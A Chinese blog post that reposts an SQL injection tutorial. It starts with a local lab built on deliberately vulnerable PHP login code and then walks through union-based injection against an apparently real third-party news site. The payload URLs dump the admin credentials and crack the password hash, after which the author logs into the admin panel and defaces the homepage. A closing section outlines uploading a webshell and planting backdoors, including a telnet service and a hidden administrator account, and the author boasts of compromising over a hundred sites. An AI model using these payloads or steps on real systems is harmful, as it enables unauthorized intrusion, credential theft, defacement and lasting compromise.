1. 程式人生 > >Java學習之路- SQL注入

Java學習之路- SQL注入

使用者名稱: __________

密碼:———————

 

假如沒有使用預處理的Statement 物件 拼接字串查資料庫的話,易收到sql注入攻擊;

 

例如說 :

mysql 中   #代表的是單行註釋 


SELECT * FROM t_users WHERE EID=''OR 1=1 #' AND EName='missli'

你在使用者名稱輸入框中 只要填寫  'OR 1=1 #  這個使用者名稱,那麼無論怎麼驗證 都會通過的!

 

甚至更邪惡一點的你可以在輸入框中填寫  'OR 1=1 ;Drop  t_users;# 

直接讓他們懷疑人生!

但是問題來了一般的,網路公司 不會這麼傻了吧唧的幫資料庫表名字設定的這麼簡單的;

 

在網上找了一篇關於sql注入的解釋文章,還有很多技術,走馬觀花吧

文章來源:http://www.2cto.com/article/201310/250877.html

ps:直接copy,格式有點問題~

大家早上好!今天由我給大家帶來《web安全之SQL注入篇》系列晨講,首先對課程進行簡單介紹,SQL注入篇一共分為三講:
       第一講:“紙上談兵:我們需要在本地架設注入環境,構造注入語句,瞭解注入原理。”;
       第二講:“實戰演練:我們要在網際網路上隨機對網站進行友情檢測,活學活用,舉一反三”;
       第三講:“擴充套件內容:掛馬,提權,留門。此講內容頗具危害性,不予演示。僅作概述”。
    這個主題涉及的東西還是比較多的,結合我們前期所學。主要是讓大家切身體會一下,管中窺豹,起到知己知彼的作用。千里之堤潰於蟻穴,以後進入單位,從事相關

程式開發,一定要謹小慎微。
 
問:大家知道駭客們攻擊網站主要有哪些手法?   
      SQL注入,旁註,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會工程學 等等等等,只要有資料互動,就會存在被入侵風險!哪怕你把網線拔掉,物理隔絕,我還可以利用感測器捕捉電磁輻射訊號轉換成模擬影象。你把門鎖上,我就爬窗戶;你把窗戶關上,我就翻院牆;你把院牆加高,我就挖地洞。。。道高一尺魔高一丈,我始終堅信計算機不存在絕對的安全,你攻我防,此消彼長,有時候,魔與道只在一念之間。
    下面,就讓我們一起推開計算機中那另一扇不為人知的門---
 
   一、紙上談兵


   (一)瞭解注入原理
    為什麼會存在sql注入呢,只能說SQL出身不好。因為sql作為一種解釋型語言,在執行時是由一個執行時元件解釋語言程式碼並執行其中包含的指令的語言。基於這種執行方式,產生了一系列叫做程式碼注入(code injection)的漏洞 。它的資料其實是由程式設計師編寫的程式碼和使用者提交的資料共同組成的。程式設計師在web開發時,沒有過濾敏感字元,繫結變數,導致攻擊者可以通過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者通過系統報錯,返回對自己有用的資訊。
    我們在學JDBC和SQL時,講師跟我們說 Statement不能防止SQL注入, PreparedStatement能夠防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎麼直觀的去了解SQL注入?這還是需要花一定的時間去實驗的.預編譯語句java.sql.PreparedStatement ,擴充套件自 Statement,不但具有 Statement 的所有能力而且具有更強大的功能。不同的是,PreparedStatement 是在建立語句物件的同時給出要執行的sql語句。這樣,sql語句就會被系統進行預編譯,執行的速度會有所增加,尤其是在執行大語句的時候,效果更加理想。而且PreparedStatement中繫結的sql語句是可以帶引數的。
   (二)架設注入環境
    我們知道現在php作為一門網頁程式設計語言真是風生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建網站環境,如騰訊的discuz、阿里的 phpwind 以及織夢的dedecms 等建站程式,佔據了國內網站的半壁江山。那麼我們今天即以這種架構為假象敵,首先是在本地架設wamp環境。需要用到的工具有:apache,mysql,php ,這幾個元件可以單獨下載安裝,不過安裝配置過程較為繁瑣,還是建議新手直接從網上下載phpnow ,一個綠色程式,包含上述三個元件,傻瓜化操作就可以了。
      然後呢,我們要建立測試用的資料表,編寫html,php,檔案,通過例項具體來演示通過SQL注入,登入後臺管理員介面。這裡,我之前已經寫好了,大家看下:

1.建立一張試驗用的資料表:
  

1 2 3 4 5 6 7 8 CREATE TABLE users (   id int ( 11 ) NOT NULL AUTO_INCREMENT,   username varchar( 64 ) NOT NULL,   password varchar( 64 ) NOT NULL,   email varchar( 64 ) NOT NULL,   PRIMARY KEY (id),   UNIQUE KEY username (username)   );


  
  新增一條記錄用於測試:
  INSERT INTO users (username,password,email)
  VALUES('tarena',md5('admin'),'[email protected]');
  
2.接下來,貼上登入介面的原始碼:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 < html > < head > < title >Sql注入演示</ title > < meta  http-equiv = "content-type"  content = "text/html;charset=utf-8" > </ head > < body  > < form  action = "validate.php"  method = "post" >    < fieldset  >      < legend >Sql注入演示</ legend >      < table >        < tr >          < td >使用者名稱:</ td >          < td >< input  type = "text"  name = "username" ></ td >        </ tr >        < tr >          < td >密&nbsp;&nbsp;碼:</ td >          < td >< input  type = "text"  name = "password" ></ td >        </ tr >        < tr >          < td >< input  type = "submit"  value = "提交" ></ td >          < td >< input  type = "reset"  value = "重置" ></ td >        </ tr >      </ table >    </ fieldset > </ form > </ body > </ html >



當用戶點選提交按鈕的時候,將會把表單資料提交給validate.php頁面,validate.php頁面用來判斷使用者輸入的使用者名稱和密碼有沒有都符合要求(這一步至關重要,也往往是SQL漏洞所在)。

3.驗證模組程式碼如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 < html > < head > < title >登入驗證</ title > < meta  http-equiv = "content-type"  content = "text/html;charset=utf-8" > </ head > < body > <? php         [email protected]_connect("localhost",'root','') or die("資料庫連線失敗!");;         mysql_select_db("injection",$conn) or die("您要選擇的資料庫不存在");         $name=$_POST['username'];         $pwd=$_POST['password'];         $ sql = "select * from users where username='$name' and password='$pwd'" ;         $ query = mysql_query ($sql);         $ arr = mysql_fetch_array ($query);         if(is_array($arr)){                header("Location:manager.php");         }else{                echo "您的使用者名稱或密碼輸入有誤,<a href=\"Login.php\">請重新登入!</ a >";         } ?> </ body > </ html >



    注意到了沒有,我們直接將使用者提交過來的資料(使用者名稱和密碼)直接拿去執行,並沒有實現進行特殊字元過濾,待會你們將明白,這是致命的。
  程式碼分析:如果,使用者名稱和密碼都匹配成功的話,將跳轉到管理員操作介面(manager.php),不成功,則給出友好提示資訊。

   (三)演示注入手法  
  到這裡,前期工作已經做好了,我們看這個登入介面,雖說是簡陋了點。但具有一般登入認證的功能。普通人看這個不過是一個登入介面,但從攻擊者角度來說,透過現象看本質,我們應當意識到隱藏在這個登入頁面背後的是一條select 語句---
  OK! 接下來將展開我們的重頭戲:SQL注入
  填好正確的使用者名稱(tarena)和密碼(admin)後,點選提交,將會返回給我們“歡迎管理員”的介面。
  因為根據我們提交的使用者名稱和密碼被合成到SQL查詢語句當中之後是這樣的:
      select * from users where username='tarena' and password=md5('admin')
  很明顯,使用者名稱和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的使用者名稱或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對於有SQL注入漏洞的網站來說,只要構造個特殊的“字串”,照樣能夠成功登入。
  比如:在使用者名稱輸入框中輸入:’or 1=1#,密碼隨便輸入,這時候的合成後的SQL查詢語句為:
      select * from users where username='' or 1=1#' and password=md5('')
  語義分析:“#”在mysql中是註釋符,這樣井號後面的內容將被mysql視為註釋內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價:
      select * from users where username='' or 1=1#' and password=md5('')
  等價於
      select * from users where username='' or 1=1
  因為1=1永遠都是成立的,即where子句總是為真,將該sql進一步簡化之後,等價如下select語句:
      select * from users
  沒錯,該sql語句的作用是檢索users表中的所有欄位
    果不其然,我們利用萬能語句(’or 1=1#)能夠登入!看到了吧,一個經構造後的sql語句竟有如此可怕的破壞力,相信你看到這後,開始對sql注入有了一個理性的認識了吧~
 
    二、實戰演練

    OK,前面鋪墊了那麼多,算是給大家科普了。現在我們進行第二講,實戰演練。開始之前呢,有一個互動環節。現在請大家用自己的手機登入 http://www.guoshang.tk  這個網址,簡單看下。待會等我們注入攻擊之後,再次登入,好對比效果,對於sql注入攻擊有一個更加直觀的認識。
 
   (一)積極備戰 
    1。首先設定瀏覽器,工具--internet選項--安全--找到“顯示友好的http資訊”,把前面的勾去掉;
    2。開啟谷歌,尋找注入點。為了節省時間,這裡我已經事先找好目標點
                http://www.guoshang.tk;
       谷歌搜尋小技巧:篩選關鍵字:"inurl:/news/read.php?id="

   (二)狼煙四起
    1。我們開啟這個網址,一個新聞網站,,我們點選[百家爭鳴]板塊,這是一個國內外新聞速覽的欄目,好多時政的帖子,我們點選一個,OK,現在進入單個帖子介面,首先我們看下當前帖子的URL地址,
        http://www.guoshang.tk/news/read.php?id=50
    可以看出這是一個動態URL,也就是說可以在位址列中傳參,這是SQL注入的基本條件。
    2。判斷是否存在sql注入可能。在帖子地址後面空上一格,敲入 and 1=1 ,然後 and 1=2 。這兩句什麼意思呢? 一個恆等式,一個恆不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執行,程式沒有對敏感字元進行過濾。現在我們可以確定此處是一個SQL注入點,程式對帶入的引數沒有做任何處理,直接帶到資料庫的查詢語句中。可以推斷出在訪問
        http://www.guoshang.tk/news/read.php?id=50
    時資料庫中執行的SQL語句大概是這樣的: 
        Select * from [表名] where id=50 
    新增and 1=1後的SQL語句: 
        Select * from [表名] where id=50 and 1=1   
        由於條件and 1=1永遠為真,所以返回的頁面和正常頁面是一致的 
    新增and 1=2後的SQL語句: 
        Select * from [表名] where id=50 and 1=2   
        由於條件1=2永遠為假,所以返回的頁面和正常頁面不一致 
    3。爆資料庫。確定注入點僅僅意味著開始。現在,我們回到原先的帖子地址:
            http://www.guoshang.tk/news/read.php?id=50  
       現在要判斷資料庫型別以及版本,構造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51 
            發現返回正常頁面,說明資料庫是mysql,並且版本大於4.0,支援union查詢,反之是4.0
            以下版本或者其他型別資料庫。 
    4。爆欄位。接著我們再構造如下語句來猜表中欄位: 
            a. http://www.guoshang.tk/news/read.php?id=50 order by 10    
            返回錯誤頁面,說明欄位小於10 
            b. http://www.guoshang.tk/news/read.php?id=50 order by 5    
            返回正常頁面,說明欄位介於5和10之間 
            c. http://www.guoshang.tk/news/read.php?id=50 order by 7    
            返回錯誤頁面,說明欄位大於5小於7,可以判斷欄位數是6.下面我們再來確認一下 
            d. http://www.guoshang.tk/news/read.php?id=50 order by 6     
        返回正常頁面,說明欄位確實是6這裡採用了“二分查詢法”,這樣可以減少判斷次數,節省時間。如果採用從order by 1依次增加數值的方法來判斷,需要7次才可以確定欄位數,採用“二分查詢法”只需要4次就夠。當欄位數很大時,二分查詢法的優勢更加明顯,效率更高。 
    5。爆表.確定欄位之後現在我們要構造聯合查詢語句(union select ),語句如下:     
           http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6   
        我們來看帖子頁面,原先內容沒有了,取而代之的是返回給了我們 三個數字,分別是3,5,6 我們隨便選擇一個,這裡的3,5,6指的是我們可以把聯合查詢的對應位置替換為 我們想要查詢的關鍵字,比如版本,資料庫名稱,主要是用來探測web系統的資訊。
    6。爆使用者名稱、密碼。我們選擇3 吧,OK,現在把3給替換掉,先查詢下資料庫庫名,構造語句如下
           http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,database(),4,5,6     
           瀏覽器給我們返回了 xinwen  。說明這個網站 的資料庫庫名是 xinwen  . 
       現在我們用同樣的手法查詢下 管理員資訊 ,構造語句如下:
           http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,user(),4,5,6
           返回 [email protected] ,是個管理員許可權。
       現在我們再用同樣的手法查詢使用者名稱,密碼,構造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
                                                           1,2,username,4,5,6 from admin 
            返回 admin
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                             1,2,password,4,5,6 from admin
            返回 B2E5B76793EDA747382E81391AA3A400  
    7。md5解密。看到這裡,有的同學可能會有點緊張。其實返回的這個是字串密碼經過32位md5加密後的值。上次李翊大帝給我們複習的時候 講過加密與解密。也稍稍提到了md5 摘要演算法,不可逆。話雖如此,現在網際網路上crack md5 “解密”md5 的網站很多,這裡我給解密加了引號,是因為其“解密”原理是 md5 值既然不能進行 逆向破解,但是同樣的字串經過同樣的md5加密演算法所生成的md5值是一樣的,我們可以重新構造字串生成md5值,然後對比兩個值,如果一樣則字串一樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實不然,網際網路雲時代已經到來,大資料的資訊挖掘以及分散式運算可以解決很多類似大運算量的問題。我們現在就要來對這個md5值進行比對,有好多網站提供這種服務,我們找一個。(http://www.md5.com.cn ) 這個網址,我們把這個值複製進去,然後點選“MD5 CRACK“,“解密”時間,視密碼複雜度而定,OK,結果出來,(chinaadmin)
    8。登入後臺。現在我們已經拿到網站的管理員帳號密碼,感謝上帝,一路順風,但還不能高興得太早。很多情況是你雖然拿到了鑰匙,但是找不到門。下面我們就來找一下門,找之前要有個基本思路:
       ①先試下幾個比較常用的目錄;
       ②不行的話,因為這個論壇程式是dedecms5.6 ,所以我們就到 織夢官方,下載一套同樣程式,           分析網站管理路徑,或者直接百度“dedecms預設管理介面”即可,下載步驟可省略;
       ③手工不通,借力工具。明小子,啊D,御劍,都可以。
    9。這裡我們發現此網站依然採用程式預設管理路徑:
            http://www.guoshang.tk/dede 
            輸入使用者名稱 admin ,密碼 chinaadmin 成功登入。
        接下來,我們找到【核心】--【附件管理】--【檔案式管理器】--這時我們可以看到網站根目錄下所有目錄以及檔案,下標欄還有幾個功能選項,我們可以看到網站首頁檔案【index.html】,點選【修改】,進入網頁原始碼編輯模式,刪除所有原始碼(這招有點毒,勸告別改人家的原始碼,建議新建一個檔案),留個言,表示到此一遊。
            卑鄙是卑鄙者的通行證,高尚是高尚者的墓誌銘----- 北島
        現在是見證奇蹟的時刻!請大家再次登入這個網站,有沒有把你和你的小夥伴們驚呆呢?!
 
        至此,戰鬥結束。若干年的免費住宿,一日三餐在向你招手。。。
 
   三、擴充套件部分
   鑑於此講內容危害性較大,不予演示。只簡述其流程。
   (一)webshell提權
        二講結束,我們僅僅取得網站管理員許可權,操作範圍僅限當前網站。革命尚未成功,同志仍需努力。若想深入挖掘,則必須尋求更大突破。獲得網站webshell .
        ①準備一個php網馬。(網上氾濫成災,自己下載。但要注重分辨,小心螳螂捕蟬黃雀在後);
        ②登入網站後臺--【核心】--【附件管理】--【檔案式管理器】--選擇下標欄中的【檔案上傳
          選項,上傳我們實現準備的php網馬檔案(tarena.php);
        ③上傳完畢,點選預覽,記錄下url地址。新建瀏覽器視窗,複製貼上,開啟之後,可以看到我們的網馬成功掛載,輸入密碼tarena(密碼可以自行用記事本開啟修改編輯);
        ④進入網馬管理介面,你會被那華麗麗的操作選項驚呆了!(取決網馬水平,小馬就別談了,這裡指的是大馬)。從程式目錄-網站根目錄-各種強大的功能,乃至直接操作伺服器磁碟檔案,獲取各種系統資訊,躍馬揚鞭,如入無人之境。其破壞力之大,令人咂舌!所以拜託各位親,一定要盜亦有道,手下留情,除了靠法律監管,也要靠個人道德約束。
 
   (二)暗修棧道
        浴血奮戰、攻城拔寨之後,怎樣保衛來之不易的勝利果實?政治治大國若烹小鮮,入侵則烹小鮮如治大國。為長遠計,我們需要建立一種長期和肉雞保持聯絡的機制。而且還要很隱蔽,畢竟這是見不得光的。留後門的方法諸多:
        ①開啟telnet服務     
           建立匿名賬戶,新增至超級管理員組;
        ②開啟遠端終端服務;
             ③自制木馬觸發事件...
        因系統平臺而異,這裡不再贅言。
 
 
後注


①可能有讀者會覺得此文很假,的確,鑑於篇幅問題,文中目標站點是我事先踩點過的,所以才
        會一路凱歌,事實上很少會有站點會如此理想,但萬變不離其宗,只是時間問題罷了。
      ②文中所述演示環境建立在同時滿足兩個條件下:
           1.php配置檔案中魔術引號已關閉;
           2.建站程式中沒有對使用者輸入字元進行過濾。
 
 
      實際生活中,類似的SQL注入漏洞已是明日黃花,國內大大小小的網站都已經補上漏洞。但,百密必有一疏,入侵是偶然的,但安全絕對不是必然的。筆者曾在晨講之前利用了一天的時間,採取手工加工具的手段批量掃描了一批站點,並最終成功攻克一百有餘。其中SQL注入漏洞確實很少,但各類0day漏洞層出不窮,更為嚴重的是後者比前者更加致命,網際網路的高速發展給人們帶來便利的同時也潛伏著非常多的風險,目前國內網路安全領域人才缺口非常大!希望達內能夠審時度勢,佔領市場先機,早日開設網路安全專業,為社會經濟建設保駕護航